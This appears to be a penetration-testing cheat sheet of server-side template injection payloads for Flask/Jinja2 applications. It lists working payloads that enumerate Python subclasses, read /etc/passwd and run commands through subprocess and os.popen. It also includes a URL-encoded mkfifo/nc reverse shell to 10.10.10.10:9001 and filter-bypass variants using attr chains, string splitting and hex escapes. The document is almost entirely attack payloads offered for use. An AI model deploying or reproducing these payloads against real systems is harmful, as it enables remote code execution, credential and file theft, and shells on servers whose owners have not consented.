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SSTI - Template Injection

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Python - Flask

#List Items 
{{config.items()}}

#Slecting a class
{{5000.__class__.mro()}}

#Listing Sub Classes
{{5000.__class__.__mro__[1].__subclasses__()}}
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}

#Read Files 
{{5000.__class__.__mro__[1].__subclasses__()[111].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read()}}

#RCE - Use any 1 from below
{{5000.__class__.__mro__[1].__subclasses__()[364]('whoami',shell=True,stdout=-1).communicate()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

#Reverse Shell
{{request.application.__globals__.__builtins__.__import__('os').popen('rm%2b/tmp/f%253bmkfifo%2b/tmp/f%253bcat%2b/tmp/f|/bin/sh%2b-i%2b2>%25261|nc%2b10.10.10.10%2b9001%2b>/tmp/f').read()}}

Bypassing Restrictions 

{{ ''.__class__.__mro__[1].__subclasses__()[408]('cat /etc/passwd', shell=True, stdout=-1).communicate() }}
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(408)('id', shell=True, stdout=-1)|attr('communicate')() }}
{{ ''['__clas' + 's__']['__mr' + 'o__'][1]['__subcla' + 'sses__']()[408]('cat /etc/passwd', shell=True, stdout=-1).communicate() }}
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']()[408]('cat /etc/passwd', shell=True, stdout=-1).communicate() }}


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